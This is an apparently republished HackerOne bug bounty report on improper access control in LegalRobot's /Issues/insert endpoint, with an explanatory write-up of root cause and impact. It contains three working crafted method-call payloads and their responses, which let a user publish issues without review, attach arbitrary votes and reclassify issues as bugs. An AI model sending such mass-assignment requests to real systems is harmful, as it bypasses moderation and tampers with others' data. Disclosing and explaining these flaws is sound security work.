Skip to content
Access control Disclosed report Intermediate

Improper validation of parameters while creating issues

The `/Issues/insert` endpoint did not properly validate parameters, allowing an attacker to create public issues without review, attach arbitrary votes to issues, and re-categorise issues as bugs. This could let an attacker bypass moderation and manipulate issue visibility and voting.

samczsun Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in under an hour
  • Paid in under an hour
  • Disclosed after under an hour

Heya LegalRobot Team,

There is some Improper Access Control on the /Issues/insert endpoint, which leads to three notable vulnerabilities.


The first allows attackers to create public issues without undergoing review by setting state: "Open" and public: true. A sample request is given below:

>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test2\",\"description\":\"testing2\",\"state\":\"Open\",\"type\":\"feature\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"public\":true,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4ade5b34f282b86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]

Notice that going to https://app.legalrobot-uat.com/roadmap while logged out shows the open ticket.


The second allows attackers to create issues with votes already attached simply by populating the votes parameter to an array of arbitrary IDs. A sample request is given below:

>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test3\",\"description\":\"testing3\",\"state\":\"New\",\"type\":\"feature\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"votes\":[\"8kPzAttw8qghnCKxo\",\"8kPzAttw8qghnCKxp\",\"8kPzAttw8qghnCKxq\",\"8kPzAttw8qghnCKxr\",\"8kPzAttw8qghnCKxs\"], \"public\":false,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4adf5b34f282d86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]

If you check the issue with ID fbwsw3WrdGyFsEtea, you'll see that it has 5 votes already attached to it, despite being under review. A screenshot of the outcome is also attached.


The third allows attackers to re-categorize their own issues by modifying the type field. For example, by setting type: "bug", an issue under Known Issues is generated. A sample request is given below:

>>> ["{\"msg\":\"method\",\"method\":\"/Issues/insert\",\"params\":[{\"name\":\"test3\",\"description\":\"testing3\",\"state\":\"somestatehere\",\"type\":\"bug\",\"createdBy\":\"8kPzAttw8qghnCKxo\",\"votes\":[\"8kPzAttw8qghnCKxo\",\"8kPzAttw8qghnCKxp\",\"8kPzAttw8qghnCKxq\",\"8kPzAttw8qghnCKxr\",\"8kPzAttw8qghnCKxs\"], \"public\":false,\"createdAt\":{\"$date\":1502786634092}}],\"id\":\"23\",\"randomSeed\":\"2c4adf5b35g282d86f46\"}"]
<<< a["{\"msg\":\"result\",\"id\":\"23\"}"]
<<< a["{\"msg\":\"updated\",\"methods\":[\"23\"]}"]

A screenshot of the outcome is attached

Attachments

f65fb566d8_1_.png
f65fb566d8_1_.png From the original on HackerOne
5545dc5820_1_.png
5545dc5820_1_.png

The original report as published on HackerOne, by samczsun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint accepted client-supplied fields like state, public, votes, and type without server-side validation or authorisation checks.

Impact

An attacker could create public issues without review, attach arbitrary votes to issues, and re-categorise issues as bugs, potentially bypassing moderation and manipulating issue visibility and voting.

What the attacker needed

Access to the `/Issues/insert` endpoint; ability to send crafted requests

How it was found

  1. Send a request to `/Issues/insert` with `state` set to `Open` and `public` set to `true`.
  2. Observe that the issue appears publicly on the roadmap page while logged out.
  3. Send a request to `/Issues/insert` with a `votes` array containing arbitrary user IDs.
  4. Observe that the created issue has those votes attached.
  5. Send a request to `/Issues/insert` with `type` set to `bug`.
  6. Observe that the issue is categorised under Known Issues.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The server accepted extra fields when creating an issue, such as a status of 'Open' and a public flag, without checking if the user was allowed to set them. This meant someone could post issues that skip review, add fake votes, or change the issue type to make it appear as a known bug.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by samczsun

View all

2 more disclosed reports, best first.

More from Legal Robot

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.